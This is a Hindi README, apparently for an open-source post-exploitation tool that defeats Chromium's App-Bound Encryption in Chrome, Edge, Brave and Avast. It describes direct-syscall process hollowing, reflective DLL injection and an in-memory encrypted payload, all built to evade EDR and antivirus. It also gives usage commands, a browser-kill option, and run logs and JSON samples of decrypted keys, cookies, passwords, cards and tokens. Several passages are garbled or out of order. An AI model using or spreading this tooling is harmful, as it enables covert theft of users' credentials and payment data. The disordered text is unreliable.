
डायरेक्ट Syscall-आधारित रिफ्लेक्टिव प्रोसेस हॉलोइंग के ज़रिए Chromium की App-Bound एन्क्रिप्शन को बायपास करें। Chrome, Edge, Brave और Avast से कुकीज़, पासवर्ड, भुगतान विधियाँ और टोकन निकालें - फाइललेस, यूज़र-मोड, एडमिन की कोई आवश्यकता नहीं।
Chrome App-Bound Encryption Decryption)एक पोस्ट-एक्सप्लॉयटेशन टूल जो Chromium के App-Bound Encryption (ABE) के पूर्ण, इन-मेमोरी बायपास को प्रदर्शित करता है। यह प्रोजेक्ट एक वैध ब्राउज़र प्रोसेस को सस्पेंडेड अवस्था में लॉन्च करने के लिए Direct Syscall-based Reflective Process Hollowing का उपयोग करता है, तथा इसकी पहचान और सुरक्षा संदर्भ को हाईजैक करने के लिए चुपके से एक पेलोड इंजेक्ट करता है। यह Living-off-the-Land (LOTL) तकनीक ब्राउज़र के स्वयं के सुरक्षा मॉडल को कमजोर करती है। फाइललेस दृष्टिकोण उपकरण को पूरी तरह से मेमोरी से संचालित करने की अनुमति देता है, आधुनिक Chromium ब्राउज़रों से संवेदनशील उपयोगकर्ता डेटा (कुकीज़, पासवर्ड, भुगतान) को डिक्रिप्ट और एक्सफिल्ट्रेट करने के लिए यूज़र-लैंड API हुक्स को बायपास करता है।
यदि आपको यह शोध मूल्यवान लगे, तो मैं एक कॉफी की सराहना करूंगा:
इस उपकरण की प्रभावशीलता आधुनिक, एवेज़न-केंद्रित तकनीकों के संयोजन पर आधारित है:
Direct Syscalls for Evasion: मानक WinAPI फ़ंक्शनों पर EDR/AV यूज़र-लैंड हुक्स को सीधे कर्नल फ़ंक्शनों को आमंत्रित करके बायपास करता है। इंजन रनटाइम पर Hell's Gate तकनीक और hash-based function matching के साथ syscall नंबरों को डायनामिक रूप से हल करता है (बाइनरी में कोई प्लेनटेक्स्ट syscall नाम नहीं)।
Direct Syscall-Based Process Hollowing: एक गुप्त प्रोसेस निर्माण और इंजेक्शन तकनीक। उच्च-ट्रैफिक, संभावित रूप से निगरानी वाले प्रोसेस में इंजेक्ट करने के बजाय, यह एक नया, सस्पेंडेड होस्ट प्रोसेस बनाता है। यह पहचान की संभावनाओं को काफी कम कर देता है, क्योंकि सभी मेमोरी परिवर्तन प्रोसेस के सामान्य निष्पादन शुरू करने से पहले होते हैं।
Fileless In-Memory Payload: पेलोड DLL लक्ष्य मशीन पर डिस्क को कभी स्पर्श नहीं करता। इसे ChaCha20-encrypted कंपाइल-टाइम बाइट ऐरे के रूप में compile-time derived keys के साथ एम्बेड किया जाता है, इन-मेमोरी डिक्रिप्ट किया जाता है, और रिफ्लेक्टिव रूप से लोड किया जाता है, जिससे इसका फोरेंसिक पदचिह्न न्यूनतम होता है और स्थिर फ़ाइल-आधारित स्कैनर बायपास होते हैं।
Reflective DLL Injection (RDI): एक गुप्त प्रोसेस इंजेक्शन विधि जो मुख्य पेलोड के लिए LoadLibrary को दरकिनार करती है, जिससे मॉड्यूल लोड की निगरानी करने वाले पहचान तंत्र से बचा जा सकता है। आत्म-निहित बूटस्ट्रैप लोडर PE अनुभागों को मैप करता है, रिलोकेशन करता है, और मेमोरी से इम्पोर्ट हल करता है।
Target-Context COM Invocation: App-Bound Encryption को पराजित करने के लिए मुख्य आधार। विश्वसनीय ब्राउज़र प्रोसेस के भीतर कोड निष्पादित करके, हम इसकी पहचान और सुरक्षा संदर्भ प्राप्त करते हैं, जिससे हम ABE COM सर्वर के लिए वैध-प्रतीत होने वाले कॉल कर सकते हैं और इसकी पाथ-वैलिडेशन सुरक्षा जाँचों को संतुष्ट कर सकते हैं।
Nt*/Zw* फ़ंक्शन नाम नहीं—कंपाइल-टाइम DJB2 हैश का उपयोग करता है।LoadLibrary कॉल के बिना पेलोड को चुपके से लोड करता है।--kill फ़्लैग उपलब्ध है।
नोट: Chrome/Brave/Edge 144+ नए
IElevator2COM इंटरफ़ेस का उपयोग करते हैं। यह उपकरण स्वचालित रूप सेIElevator2का उपयोग करता है जब उपलब्ध हो और पुराने संस्करणों के लिएIElevatorपर वापस आ जाता है। Avast Secure Browser एक कस्टमIElevatorChromeइंटरफ़ेस का उपयोग करता है जिसमें एक विस्तारित vtable (12 विधियाँ, DecryptData ऑफसेट 104 पर) है।
यह मैट्रिक्स प्रत्येक समर्थित ब्राउज़र के लिए निष्कर्षण क्षमताओं को रेखांकित करता है।
उपकरण का निष्पादन चुपके और दक्षता पर केंद्रित है, जो Direct Syscall-based Reflective Hollowing प्रक्रिया के चारों ओर बनाया गया है। यह दृष्टिकोण सुनिश्चित करता है कि कुछ ही उच्च-स्तरीय API कॉल किए जाएँ और पेलोड एक वैध, नव निर्मित ब्राउज़र प्रोसेस के भीतर से संचालित हो।
chromelevator.exe)ntdll.dll को डायनामिक रूप से पार्स करता है, hash-based matching का उपयोग करता है, और कर्नल ट्रांज़िशन गैजेट्स (syscall/ret या svc/ret) का पता लगाता है। यदि --kill फ़्लैग निर्दिष्ट किया गया है, तो यह लक्षित ब्राउज़र के सभी चालू इंस्टेंस को समाप्त करने के लिए NtGetNextProcess और NtTerminateProcess syscalls का उपयोग करता है, जिससे SQLite डेटाबेस पर फ़ाइल लॉक जारी होते हैं।CREATE_SUSPENDED अवस्था में बनाता है (CreateProcessW)। यह नया, सस्पेंडेड प्रोसेस हमारे पेलोड के लिए होस्ट के रूप में कार्य करता है।NtAllocateVirtualMemory (direct syscall) का उपयोग करके मेमोरी आवंटित करता है।Bootstrap रिफ्लेक्टिव लोडर निष्पादित होता है, जो उन्नत चुपके के साथ एक कस्टम इन-मेमोरी PE लोडर के रूप में कार्य करता है:
NtAllocateVirtualMemory में direct syscalls का उपयोग करके पेलोड के लिए नई मेमोरी आवंटित करता है (हुक्ड VirtualAlloc को बायपास करता है)।NtProtectVirtualMemory में direct syscalls का उपयोग करके अनुभाग अनुमतियाँ सेट करता है।DllMain को आमंत्रित करता है।DllMain एक नया थ्रेड बनाता है जो तुरंत इंजेक्टर द्वारा पारित named pipe हैंडल से कनेक्ट होता है। यह इंजेक्टर द्वारा भेजी गई कॉन्फ़िगरेशन, जिसमें आउटपुट पथ शामिल है, को पढ़ता है। सभी बाद के लॉग और स्थिति अपडेट इस पाइप के माध्यम से वापस भेजे जाते हैं।IElevator2, पुराने संस्करणों के लिए IElevator, Edge के लिए IEdgeElevatorFinal, या Avast Secure Browser के लिए )। चूँकि कॉल एक विश्वसनीय प्रोसेस पथ से उत्पन्न होती है, सर्वर की सभी सुरक्षा जाँचें पारित हो जाती हैं।यह प्रोजेक्ट एक सरल, मजबूत बिल्ड स्क्रिप्ट का उपयोग करता है जो सभी संकलन और पेलोड एम्बेडिंग को स्वचालित रूप से संभालता है।
इस रिपॉजिटरी को क्लोन करें।
एक Developer Command Prompt for VS (या कोई MSVC-सक्षम शेल) खोलें।
प्रोजेक्ट रूट से बिल्ड स्क्रिप्ट make.bat चलाएँ।
बिल्ड विकल्प:
make.bat - पूर्ण बिल्ड (डिफ़ॉल्ट)make.bat clean - सभी बिल्ड आर्टिफैक्ट हटाएँmake.bat build_encryptor_only - केवल एन्क्रिप्टर बनाएँ (CI द्वारा उपयोग किया जाता है)make.bat build_target_only - पेलोड और इंजेक्टर बनाएँ (CI द्वारा उपयोग किया जाता है)यह प्रोजेक्ट GitHub Actions का उपयोग करके x64 और ARM64 दोनों आर्किटेक्चर के लिए इंजेक्टर निष्पादन योग्य (chromelevator.exe) को स्वचालित रूप से बनाता है।
आप नवीनतम पूर्व-संकलित बाइनरीज़ रीलीज़ पेज पर पा सकते हैं। दोनों आर्किटेक्चर के निष्पादन योग्य एक साथ एक सुविधाजनक .zip फ़ाइल में पैक किए जाते हैं।
रीलीज़ पैकेज सामग्री:
chromelevator_x64.exechromelevator_arm64.exePS> .\chromelevator.exe --help
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|avast|all>
Options: -v, --verbose Show detailed output -f, --fingerprint Extract browser fingerprint -k, --kill Kill all browser processes before extraction -o, --output-path Custom output directory
### विकल्प
- `--output-path <path>` या `-o <path>`
आउटपुट फ़ाइलों के लिए आधार निर्देशिका निर्दिष्ट करता है।
डिफ़ॉल्ट रूप से इंजेक्टर के स्थान के सापेक्ष `.\output\` है।
डेटा उपनिर्देशिकाओं में व्यवस्थित किया जाएगा: `<path>/<BrowserName>/<ProfileName>/`।
- `--verbose` या `-v`
इंजेक्टर से विस्तृत डिबगिंग आउटपुट सक्षम करें।
- `--fingerprint` या `-f`
संस्करण, एक्सटेंशन, सुरक्षा सेटिंग्स और सिस्टम जानकारी सहित व्यापक ब्राउज़र फ़िंगरप्रिंटिंग डेटा निकालें।
परिणाम ब्राउज़र की आउटपुट निर्देशिका में `fingerprint.json` में सहेजे जाते हैं।
- `--kill` या `-k`
**निष्कर्षण से पहले सभी ब्राउज़र प्रक्रियाओं को समाप्त करें।** डेटा निष्कर्षण का प्रयास करने से पहले लक्षित ब्राउज़र(ओं) के सभी चल रहे इंस्टेंस को समाप्त करने के लिए प्रत्यक्ष सिस्टम कॉल (`NtTerminateProcess`) का उपयोग करता है। यह तब उपयोगी होता है जब ब्राउज़र चल रहे हों और डेटाबेस फ़ाइलों पर लॉक पकड़े हुए हों, जिससे टूल कुकीज़ या अन्य एन्क्रिप्टेड डेटा तक पहुँचने में असमर्थ हो जाता है।
- `--help` या `-h`
यह सहायता संदेश दिखाएँ।
### सामान्य रन```bash
PS> .\chromelevator.exe all
_________ .__ ___________.__ __
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
\/ \/ \/ \/ \/ \/
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Brave (143.1.85.120) ──────────────────────
│
│ Decryption Key
│ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
│
├── Default
│ Cookies 3312
│ Passwords 55
│ Cards 1
│ IBANs 1
│
└── 3312 cookies, 55 passwords, 1 cards, 1 IBANs (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave
┌──── Chrome (143.0.7499.193) ───────────────────
│
│ Decryption Key
│ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
│
├── Default
│ Cookies 380
│ Passwords 1
│
├── Profile 1
│ Cookies 932
│ Passwords 791
│ Cards 1
│ IBANs 1
│ Tokens 2
│
└── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
┌──── Chrome Beta (144.0.7559.59) ───────────────
│
│ Decryption Key
│ C147F0657D7AD5881F16CC0A2994E41A18A7B5F567B8CF81C7F87227ABB4F1B7
│
├── Default
│ Cookies 224
│
└── 224 cookies (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome Beta
┌──── Edge (144.0.3719.67) ──────────────────────
│
│ Decryption Key
│ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
│
├── Default
│ Cookies 226
│ Passwords 2
│ Cards 1
│
├── Profile 1
│ Cookies 25
│
└── 251 cookies, 2 passwords, 1 cards (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge
PS> .\chromelevator.exe -v -f chrome
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Chrome (143.0.7499.193) ─────────────────── │ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe │ [+] Process created (PID: 26560) │ [+] IPC pipe established: \.\pipe\chrome.nacl.49645_5F55 │ Deriving runtime decryption keys... │ [+] Payload decrypted (1073 KB) │ [+] Bootstrap entry point resolved (offset: 0x2ae70) │ Allocating memory in target process via syscall... │ [+] Memory allocated at 0x268e2d90000 (1076 KB) │ [+] Payload + parameters written │ [+] Memory protection set to PAGE_EXECUTE_READ │ Creating remote thread via syscall... │ [+] Thread created (entry: 0x268e2dbae70) │ Awaiting payload connection... │ [+] Payload connected │ Running in Chrome │ │ Decryption Key │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094 │ ├── Default │ Size 14 MB │ Cookies 380 │ Passwords 1 │ ├── Profile 1 │ Size 491 MB │ Cookies 932 │ Passwords 791 │ Cards 1 │ IBANs 1 │ Tokens 2 │ Extracting comprehensive fingerprint... │ Fingerprint saved to fingerprint.json │ └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
## 📂 डेटा निष्कर्षण
डिक्रिप्शन पूरा होने के बाद, डेटा निर्दिष्ट आउटपुट पथ पर सहेजा जाता है (यदि `--output-path` के माध्यम से निर्दिष्ट न किया गया हो तो डिफ़ॉल्ट रूप से `.\output\` पर)। फ़ाइलें निम्नानुसार व्यवस्थित होती हैं:
**आधार पथ:** `YOUR_CHOSEN_PATH` (जैसे, `.\output\` या आपके द्वारा प्रदान किया गया पथ)
**संरचना:** <Base Path>/<BrowserName>/<ProfileName>/<data_type>.json
उदाहरण पथ (डिफ़ॉल्ट आउटपुट स्थान मानकर):
- 🍪 **कुकीज़ (Chrome डिफ़ॉल्ट प्रोफ़ाइल):** .\output\Chrome\Default\cookies.json
- 🔑 **पासवर्ड (Edge प्रोफ़ाइल 1):** .\output\Edge\Profile 1\passwords.json
- 💳 **भुगतान विधियाँ (Brave डिफ़ॉल्ट प्रोफ़ाइल):** .\output\Brave\Default\payments.json
- 🏦 **IBANs (Chrome प्रोफ़ाइल 1):** .\output\Chrome\Profile 1\iban.json
### 🍪 कुकी निष्कर्षण
प्रत्येक कुकी फ़ाइल JSON ऑब्जेक्ट्स की एक सरणी है:```json
[
{
"host": "accounts.google.com",
"name": "ACCOUNT_CHOOSER",
"path": "/",
"expires": 1766591611,
"value": "AFx_qI781-…"
},
{
"host": "mail.google.com",
"name": "OSID",
"path": "/mail",
"expires": 1766591611,
"value": "g.a000uwj5ufIS…"
},
…
]
प्रत्येक पासवर्ड फ़ाइल ऑब्जेक्ट्स की एक JSON सरणी है:```json [ { "url": "https://example.com/login", "user": "[email protected]", "pass": "••••••••••" }, … ]
### 💳 भुगतान विधि निष्कर्षण
प्रत्येक भुगतान फ़ाइल JSON ऑब्जेक्ट्स की एक सरणी है:```json
[
{
"name": "John Doe",
"month": 12,
"year": 2030,
"number": "••••••••••1234",
"cvc": "•••"
},
…
]
प्रत्येक IBAN फ़ाइल JSON ऑब्जेक्ट्स की एक सरणी है:```json [ { "nickname": "UK Test", "iban": "GB33BUKB20201555555555" } ]
### 🎟️ टोकन निष्कर्षण
प्रत्येक टोकन फ़ाइल ऑब्जेक्ट्स की एक JSON सरणी है जिसमें सेवा, डिक्रिप्टेड टोकन, और बाइंडिंग कुंजी (यदि मौजूद हो) शामिल होती है:```json
[
{
"service": "AccountId-112823413702122221871",
"token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...",
"binding_key": ""
}
]
जब --fingerprint या -f फ़्लैग का उपयोग किया जाता है, तो एक व्यापक मेटाडेटा रिपोर्ट उत्पन्न होती है:```json
{
"browser": "Chrome",
"executable_path": "C:\Program Files\Google\Chrome\Application\chrome.exe",
"browser_version": "143.0.7499.170",
"user_data_path": "C:\Users\username\AppData\Local\Google\Chrome\User Data",
"sync_enabled": false,
"enterprise_managed": true,
"update_channel": "stable",
"hardware_acceleration": false,
"metrics_enabled": false,
"autofill_enabled": true,
"password_manager_enabled": false,
"safe_browsing_enabled": true,
"do_not_track": false,
"third_party_cookies_blocked": false,
"translate_enabled": true,
"installed_extensions_count": 2,
"extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"],
"profile_count": 2,
"computer_name": "DESKTOP-ABC123",
"windows_user": "username",
"os_version": "10.0.26220",
"architecture": "ARM64",
"last_config_update": 1766578854,
"extraction_timestamp": 1766591611,
"extraction_complete": true
}
यह डेटा ब्राउज़र के कॉन्फ़िगरेशन, सुरक्षा स्थिति और सिस्टम संदर्भ के बारे में जानकारी प्रदान करता है।
## 📚 गहन तकनीकी विश्लेषण और अनुसंधान
Chrome की App-Bound एन्क्रिप्शन, इसके कार्यान्वयन की पेचीदगियों, इस टूल के दृष्टिकोण की विस्तृत कार्यप्रणाली और संबंधित सुरक्षा वैक्टरों की व्यापक चर्चा की गहन समझ के लिए, कृपया मेरे विस्तृत शोध पत्र को देखें:
1. ➡️ **[Chrome App-Bound एन्क्रिप्शन (ABE) - तकनीकी गहन विश्लेषण और अनुसंधान नोट्स](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/RESEARCH.md)**
यह दस्तावेज़ निम्नलिखित विषयों को शामिल करता है:
- DPAPI से ABE तक का विकास।
- `IElevator`/`IElevator2` COM इंटरैक्शन और कुंजी रैपिंग सहित ABE तंत्र का चरण-दर-चरण विवरण।
- इस टूल द्वारा उपयोग की जाने वाली DLL इंजेक्शन रणनीति की विस्तृत कार्यप्रणाली।
- एन्क्रिप्टेड डेटा संरचनाओं का विश्लेषण और प्रासंगिक Chromium स्रोत कोड अंतर्दृष्टि।
- वैकल्पिक डिक्रिप्शन वैक्टरों और Chrome के विकसित होते बचावों की चर्चा।
2. ➡️ **[ज़िद्दी COM का रहस्यमय मामला: Microsoft Edge की App-Bound एन्क्रिप्शन को डिक्रिप्ट करना](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)**
यह लेख Microsoft Edge के लिए विश्वसनीय ABE डिक्रिप्शन प्राप्त करने के लिए किए गए विशिष्ट चुनौतियों और रिवर्स इंजीनियरिंग यात्रा का विवरण देता है। इसमें शामिल हैं:
- प्रारंभिक समस्याओं और भ्रामक त्रुटि कोडों (`E_INVALIDARG`, `E_NOINTERFACE`) का विवरण।
- Edge की अद्वितीय `IElevatorEdge` vtable संरचना और इनहेरिटेंस को उजागर करने के लिए COM टाइप लाइब्रेरी इंट्रोस्पेक्शन (Python `comtypes` के साथ) का उपयोग करने की प्रक्रिया।
- यह अंतर्दृष्टि कैसे Edge की ABE सेवा के साथ सफल इंटरैक्शन के लिए अनुकूलित C++ इंटरफ़ेस स्टब्स की ओर ले गई।
- मुश्किल COM इंटरऑपरेबिलिटी समस्याओं को डीबग करने पर एक व्यावहारिक नज़र।
3. ➡️ **[एलिवेटर को मिला अपग्रेड: Chrome 144, IElevator2, और Mojo क्षितिज](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/The_Elevator_Gets_an_Upgrade_Chrome_144_IElevator2_and_the_Mojo_Horizon.md)**
यह लेख Chrome 144 के नए `IElevator2` COM इंटरफ़ेस और ABE के लिए इसके अर्थ को शामिल करता है:
- Chrome 143 के `IElevator` और Chrome 144 के `IElevator2` इंटरफ़ेस के बीच तकनीकी तुलना।
- दो नए तरीकों (`RunIsolatedChrome`, `AcceptInvitation`) का विश्लेषण और Chromium के नियोजित Mojo IPC माइग्रेशन से उनका संबंध।
- पिछड़ी संगतता संरक्षण दिखाने वाली VTable लेआउट तुलना।
- Edge 144 द्वारा `IElevator2` और नए Copilot इंटरफ़ेस का आंशिक अंगीकरण।
- Mojo माइग्रेशन ABE सुरक्षा के लिए क्या बदलता है (और क्या नहीं) इसका ईमानदार मूल्यांकन।
4. ➡️ **[COMrade ABE: App-Bound एन्क्रिप्शन के COM आंतरिक पहलुओं के लिए आपका फ़ील्ड मैनुअल](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/COMrade_ABE_Field_Manual.md)**
यह फ़ील्ड मैनुअल **COMrade ABE** का परिचय देता है, जो ABE COM इंटरफ़ेस के लिए Python-आधारित गतिशील विश्लेषक है, और इसके व्यावहारिक अनुप्रयोगों में गहराई से उतरता है:
- ब्राउज़र विविधताओं और अपडेट के कारण गतिशील COM इंटरफ़ेस विश्लेषण की आवश्यकता की व्याख्या करता है।
- COMrade ABE की कार्यप्रणाली का विवरण देता है: सेवा खोज के लिए रजिस्ट्री स्कैनिंग, टाइप लाइब्रेरी लोडिंग और पार्सिंग, और ह्यूरिस्टिक-आधारित ABE विधि हस्ताक्षर मिलान।
- COMrade ABE के आउटपुट की व्याख्या करने के लिए एक व्यापक मार्गदर्शिका प्रदान करता है, जिसमें CLSID, IID (मानक और C++ शैली), और VTable ऑफ़सेट, परिभाषित इंटरफ़ेस और पूर्ण इनहेरिटेंस श्रृंखलाओं जैसे विस्तृत आउटपुट विवरणों का महत्व शामिल है।
- त्वरित विकास और अनुसंधान के लिए स्वतः-जनित C++ स्टब्स (`--output-cpp-stub`) की उपयोगिता पर प्रकाश डालता है।
- चर्चा करता है कि कैसे COMrade ABE ABE परिवर्तनों के अनुकूलन, नए Chromium ब्राउज़रों के विश्लेषण और विक्रेता-विशिष्ट COM अनुकूलन को समझने में सहायता करता है।
## 🔗 अतिरिक्त संसाधन और अनुसंधान
यह परियोजना व्यापक सुरक्षा समुदाय के कार्य और विश्लेषण पर आधारित है।
- **आधिकारिक दस्तावेज़ और घोषणाएँ:**
- [Google सुरक्षा ब्लॉग: Windows पर Chrome कुकीज़ की सुरक्षा में सुधार](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [डिज़ाइन दस्तावेज़: Chrome App-Bound एन्क्रिप्शन सेवा](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view)
- **सामुदायिक अनुसंधान और स्वीकृति:**
- [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824) द्वारा प्रूफ ऑफ कॉन्सेप्ट
## 🗒️ परिवर्तन लॉग
इस परियोजना के सभी उल्लेखनीय परिवर्तन [**CHANGELOG**](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/CHANGELOG.md) फ़ाइल में प्रलेखित हैं। इसमें संस्करण इतिहास, नई सुविधाएँ, बग फिक्स और सुरक्षा सुधार शामिल हैं।
## 📜 लाइसेंस
यह परियोजना MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए [LICENSE](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/LICENSE) फ़ाइल देखें।
## 💡 परियोजना दर्शन और अस्वीकरण
> [!IMPORTANT]
> यह एक शौकिया परियोजना है जो शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए बनाई गई है। यह एक व्यक्तिगत सीखने के अनुभव और उन्नत Windows अवधारणाओं की खोज के लिए एक खेल का मैदान है।
>
> **यह टूल एक पूर्ण-विशेषताओं वाला इन्फोस्टीलर या गारंटीकृत EDR एवेज़न टूल होने का इरादा नहीं रखता है।** हालाँकि यह उन्नत तकनीकों का उपयोग करता है, इसका प्राथमिक लक्ष्य ABE तंत्र को प्रदर्शित करना और उसका विच्छेदन करना है, न कि दुर्भावनापूर्ण उपयोग के लिए परिचालन गोपनीयता प्रदान करना। कृपया सभी प्रासंगिक कानूनी और नैतिक दिशानिर्देशों का अनुपालन सुनिश्चित करें।
| ब्राउज़र | परीक्षित संस्करण (x64 और ARM64) |
|---|
| Google Chrome | 144.0.7559.133 |
| Google Chrome Beta | 145.0.7632.18 |
| Brave | 1.86.148 (144.1.86.148) |
| Microsoft Edge | 145.0.3800.36 |
| Avast Secure Browser | 143.0.33371.147 |
| फीचर | Google Chrome | Microsoft Edge | Brave | Avast Secure Browser |
|---|
| कुकीज़ | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| पासवर्ड | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| भुगतान विधियाँ | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| IBANs | ✅ ABE | ❌ N/A | ✅ ABE | ✅ ABE |
| प्रमाणीकरण टोकन | ❌ N/A | ❌ N/A | ❌ N/A |
NtWriteVirtualMemory के साथ आवंटित स्थान में लिखता है।NtProtectVirtualMemory (direct syscall) का उपयोग करके मेमोरी क्षेत्र की अनुमतियों को निष्पादन योग्य में बदलता है।NtCreateThreadEx का उपयोग करके लक्ष्य प्रोसेस में एक नया थ्रेड बनाया जाता है। थ्रेड का प्रारंभ पता सीधे पेलोड के Bootstrap एक्सपोर्ट की ओर इंगित करता है, जिसमें रिमोट पाइप नाम का पता उसके तर्क के रूप में होता है। ब्राउज़र का मूल मुख्य थ्रेड सस्पेंडेड रहता है और उसे कभी फिर से शुरू नहीं किया जाता। फिर इंजेक्टर पेलोड के पाइप से वापस कनेक्ट होने की प्रतीक्षा करता है।IAvastElevatorDecryptData विधि को कॉल करता है, जो Local State फ़ाइल से पढ़ा गया app_bound_encrypted_key प्रदान करता है। COM सर्वर कुंजी को डिक्रिप्ट करता है और प्लेनटेक्स्ट AES-256 मास्टर कुंजी पेलोड को लौटाता है।Default, Profile 1, आदि) की गणना करता है। प्रत्येक प्रोफाइल के लिए, यह प्रासंगिक SQLite डेटाबेस (Cookies, Login Data, Web Data) को क्वेरी करता है, AES-256-GCM का उपयोग करके डेटा ब्लॉब्स को डिक्रिप्ट करता है, और रहस्यों को JSON के रूप में प्रारूपित करता है। परिणाम सीधे इंजेक्टर द्वारा निर्दिष्ट आउटपुट निर्देशिका में लिखे जाते हैं।FreeLibraryAndExitThread को कॉल करता है। इंजेक्टर, संकेत प्राप्त करने पर, NtTerminateProcess के साथ पैरेंट होस्ट प्रोसेस को समाप्त कर देता है।